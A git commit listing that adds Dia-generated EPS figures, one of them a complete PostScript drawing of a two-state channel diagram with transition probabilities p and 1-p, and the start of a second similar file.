commit
66341c1ea6
88 changed files with 10461 additions and 0 deletions
Binary file not shown.
@ -0,0 +1,476 @@ |
|||
%!PS-Adobe-2.0 EPSF-2.0 |
|||
%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/cbs.dia |
|||
%%Creator: Dia v0.95-1 |
|||
%%CreationDate: Sun Dec 3 18:50:18 2006 |
|||
%%For: nicolas.masse |
|||
%%Orientation: Portrait |
|||
%%Magnification: 1.0000 |
|||
%%BoundingBox: 0 0 254 167 |
|||
%%BeginSetup |
|||
%%EndSetup |
|||
%%EndComments |
|||
%%BeginProlog |
|||
[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright |
|||
/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one |
|||
/two /three /four /five /six /seven /eight /nine /colon /semicolon |
|||
/less /equal /greater /question /at /A /B /C /D /E |
|||
/F /G /H /I /J /K /L /M /N /O |
|||
/P /Q /R /S /T /U /V /W /X /Y |
|||
/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c |
|||
/d /e /f /g /h /i /j /k /l /m |
|||
/n /o /p /q /r /s /t /u /v /w |
|||
/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright |
|||
/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior |
|||
/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf |
|||
/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla |
|||
/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde |
|||
/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex |
|||
/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring |
|||
/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis |
|||
/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave |
|||
/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def |
|||
/cp {closepath} bind def |
|||
/c {curveto} bind def |
|||
/f {fill} bind def |
|||
/a {arc} bind def |
|||
/ef {eofill} bind def |
|||
/ex {exch} bind def |
|||
/gr {grestore} bind def |
|||
/gs {gsave} bind def |
|||
/sa {save} bind def |
|||
/rs {restore} bind def |
|||
/l {lineto} bind def |
|||
/m {moveto} bind def |
|||
/rm {rmoveto} bind def |
|||
/n {newpath} bind def |
|||
/s {stroke} bind def |
|||
/sh {show} bind def |
|||
/slc {setlinecap} bind def |
|||
/slj {setlinejoin} bind def |
|||
/slw {setlinewidth} bind def |
|||
/srgb {setrgbcolor} bind def |
|||
/rot {rotate} bind def |
|||
/sc {scale} bind def |
|||
/sd {setdash} bind def |
|||
/ff {findfont} bind def |
|||
/sf {setfont} bind def |
|||
/scf {scalefont} bind def |
|||
/sw {stringwidth pop} bind def |
|||
/tr {translate} bind def |
|||
|
|||
/ellipsedict 8 dict def |
|||
ellipsedict /mtrx matrix put |
|||
/ellipse |
|||
{ ellipsedict begin |
|||
/endangle exch def |
|||
/startangle exch def |
|||
/yrad exch def |
|||
/xrad exch def |
|||
/y exch def |
|||
/x exch def /savematrix mtrx currentmatrix def |
|||
x y tr xrad yrad sc |
|||
0 0 1 startangle endangle arc |
|||
savematrix setmatrix |
|||
end |
|||
} def |
|||
|
|||
/mergeprocs { |
|||
dup length |
|||
3 -1 roll |
|||
dup |
|||
length |
|||
dup |
|||
5 1 roll |
|||
3 -1 roll |
|||
add |
|||
array cvx |
|||
dup |
|||
3 -1 roll |
|||
0 exch |
|||
putinterval |
|||
dup |
|||
4 2 roll |
|||
putinterval |
|||
} bind def |
|||
/Times-Roman-latin1 |
|||
/Times-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Italic-latin1 |
|||
/Times-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Bold-latin1 |
|||
/Times-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-BoldItalic-latin1 |
|||
/Times-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Book-latin1 |
|||
/AvantGarde-Book findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-BookOblique-latin1 |
|||
/AvantGarde-BookOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Demi-latin1 |
|||
/AvantGarde-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-DemiOblique-latin1 |
|||
/AvantGarde-DemiOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Light-latin1 |
|||
/Bookman-Light findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-LightItalic-latin1 |
|||
/Bookman-LightItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Demi-latin1 |
|||
/Bookman-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-DemiItalic-latin1 |
|||
/Bookman-DemiItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-latin1 |
|||
/Courier findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Oblique-latin1 |
|||
/Courier-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Bold-latin1 |
|||
/Courier-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-BoldOblique-latin1 |
|||
/Courier-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-latin1 |
|||
/Helvetica findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Oblique-latin1 |
|||
/Helvetica-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Bold-latin1 |
|||
/Helvetica-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-BoldOblique-latin1 |
|||
/Helvetica-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-latin1 |
|||
/Helvetica-Narrow findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Oblique-latin1 |
|||
/Helvetica-Narrow-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Bold-latin1 |
|||
/Helvetica-Narrow-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-BoldOblique-latin1 |
|||
/Helvetica-Narrow-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Roman-latin1 |
|||
/NewCenturySchoolbook-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Italic-latin1 |
|||
/NewCenturySchoolbook-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Bold-latin1 |
|||
/NewCenturySchoolbook-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-BoldItalic-latin1 |
|||
/NewCenturySchoolbook-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Roman-latin1 |
|||
/Palatino-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Italic-latin1 |
|||
/Palatino-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Bold-latin1 |
|||
/Palatino-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-BoldItalic-latin1 |
|||
/Palatino-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Symbol-latin1 |
|||
/Symbol findfont |
|||
definefont pop |
|||
/ZapfChancery-MediumItalic-latin1 |
|||
/ZapfChancery-MediumItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/ZapfDingbats-latin1 |
|||
/ZapfDingbats findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
28.346000 -28.346000 scale |
|||
-4.382500 -12.862500 translate |
|||
%%EndProlog |
|||
|
|||
|
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 5.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 5.362500 12.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 5.362500 12.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 5.362500 12.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 12.362500 8.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
0 slj |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 12.362500 12.362500 0.362500 0.362500 0 360 ellipse f |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 12.362500 12.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
0.010000 slw |
|||
0 slc |
|||
0 slj |
|||
[] 0 sd |
|||
n 12.362500 12.362500 0.362500 0.362500 0 360 ellipse cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(X) dup sw 2 div 5.362500 ex sub 7.565000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Y) dup sw 2 div 12.362500 ex sub 7.565000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
( 1) 12.725000 8.428750 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
( 0) 12.725000 12.437500 m gs 1 -1 sc sh gr |
|||
0.070000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 5.725000 8.362500 m 11.868011 12.278364 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 11.378001 12.262480 m 11.934006 12.320432 l 11.646764 11.840857 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 5.725000 8.362500 m 11.843475 8.362500 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 11.421738 8.612500 m 11.921738 8.362500 l 11.421738 8.112500 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 5.725000 12.362500 m 11.868011 8.446636 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 11.646764 8.884143 m 11.934006 8.404568 l 11.378001 8.462520 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 5.725000 12.362500 m 11.843475 12.362500 l s |
|||
0.070000 slw |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 11.421738 12.612500 m 11.921738 12.362500 l 11.421738 12.112500 l s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(1-p) dup sw 2 div 8.862500 ex sub 7.927500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(1-p) dup sw 2 div 8.862500 ex sub 11.962500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(p) dup sw 2 div 11.000000 ex sub 11.565000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(p) dup sw 2 div 11.000000 ex sub 9.565000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(1 ) dup sw 5.000000 ex sub 8.428750 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(0 ) dup sw 5.000000 ex sub 12.437500 m gs 1 -1 sc sh gr |
|||
showpage |
|||
|
After Width: | Height: | Size: 14 KiB |
Binary file not shown.
@ -0,0 +1,495 @@ |
|||
%!PS-Adobe-2.0 EPSF-2.0 |
|||
%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/cbse.dia |
|||
%%Creator: Dia v0.95-1 |
|||
%%CreationDate: Sun Dec 3 18:44:32 2006 |
|||
%%For: nicolas.masse |
|||
%%Orientation: Portrait |
|||
%%Magnification: 1.0000 |
|||
%%BoundingBox: 0 0 254 223 |
|||
%%BeginSetup |
|||
%%EndSetup |
|||
%%EndComments |
|||
%%BeginProlog |
|||
[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright |
|||
/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one |
|||
/two /three /four /five /six /seven /eight /nine /colon /semicolon |
|||
/less /equal /greater /question /at /A /B /C /D /E |
|||
/F /G /H /I /J /K /L /M /N /O |
|||
/P /Q /R /S /T /U /V /W /X /Y |
|||
/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c |
|||
/d /e /f /g /h /i /j /k /l /m |
|||
/n /o /p /q /r /s /t /u /v /w |
|||
/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright |
|||
/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior |
|||
/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf |
|||
/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla |
|||
/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde |
|||
/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex |
|||
/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring |
|||
/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis |
|||
/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave |
|||
/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def |
|||
/cp {closepath} bind def |
|||
/c {curveto} bind def |
|||
/f {fill} bind def |
|||
/a {arc} bind def |
|||
/ef {eofill} bind def |
|||
/ex {exch} bind def |
|||
/gr {grestore} bind def |
|||
/gs {gsave} bind def |
|||
/sa {save} bind def |
|||
/rs {restore} bind def |
|||
/l {lineto} bind def |
|||
/m {moveto} bind def |
|||
/rm {rmoveto} bind def |
|||
/n {newpath} bind def |
|||
/s {stroke} bind def |
|||
/sh {show} bind def |
|||
/slc {setlinecap} bind def |
|||
/slj {setlinejoin} bind def |
|||
/slw {setlinewidth} bind def |
|||
/srgb {setrgbcolor} bind def |
|||
/rot {rotate} bind def |
|||
/sc {scale} bind def |
|||
/sd {setdash} bind def |
|||
/ff {findfont} bind def |
|||
/sf {setfont} bind def |
|||
/scf {scalefont} bind def |
|||
/sw {stringwidth pop} bind def |
|||
/tr {translate} bind def |
|||
|
|||
/ellipsedict 8 dict def |
|||
ellipsedict /mtrx matrix put |
|||
/ellipse |
|||
{ ellipsedict begin |
|||
/endangle exch def |
|||
/startangle exch def |
|||
/yrad exch def |
|||
/xrad exch def |
|||
/y exch def |
|||
/x exch def /savematrix mtrx currentmatrix def |
|||
x y tr xrad yrad sc |
|||
0 0 1 startangle endangle arc |
|||
savematrix setmatrix |
|||
end |
|||
} def |
|||
|
|||
/mergeprocs { |
|||
dup length |
|||
3 -1 roll |
|||
dup |
|||
length |
|||
dup |
|||
5 1 roll |
|||
3 -1 roll |
|||
add |
|||
array cvx |
|||
dup |
|||
3 -1 roll |
|||
0 exch |
|||
putinterval |
|||
dup |
|||
4 2 roll |
|||
putinterval |
|||
} bind def |
|||
/Times-Roman-latin1 |
|||
/Times-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Italic-latin1 |
|||
/Times-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Bold-latin1 |
|||
/Times-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-BoldItalic-latin1 |
|||
/Times-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Book-latin1 |
|||
/AvantGarde-Book findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-BookOblique-latin1 |
|||
/AvantGarde-BookOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Demi-latin1 |
|||
/AvantGarde-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-DemiOblique-latin1 |
|||
/AvantGarde-DemiOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Light-latin1 |
|||
/Bookman-Light findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-LightItalic-latin1 |
|||
/Bookman-LightItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Demi-latin1 |
|||
/Bookman-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-DemiItalic-latin1 |
|||
/Bookman-DemiItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-latin1 |
|||
/Courier findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Oblique-latin1 |
|||
/Courier-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Bold-latin1 |
|||
/Courier-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-BoldOblique-latin1 |
|||
/Courier-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-latin1 |
|||
/Helvetica findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Oblique-latin1 |
|||
/Helvetica-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Bold-latin1 |
|||
/Helvetica-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-BoldOblique-latin1 |
|||
/Helvetica-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-latin1 |
|||
/Helvetica-Narrow findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Oblique-latin1 |
|||
/Helvetica-Narrow-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Bold-latin1 |
|||
/Helvetica-Narrow-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-BoldOblique-latin1 |
|||
/Helvetica-Narrow-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Roman-latin1 |
|||
/NewCenturySchoolbook-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Italic-latin1 |
|||
/NewCenturySchoolbook-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Bold-latin1 |
|||
/NewCenturySchoolbook-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-BoldItalic-latin1 |
|||
/NewCenturySchoolbook-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Roman-latin1 |
|||
/Palatino-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Italic-latin1 |
|||
/Palatino-Italic findfont |
|||
dup length dict begin |
|||
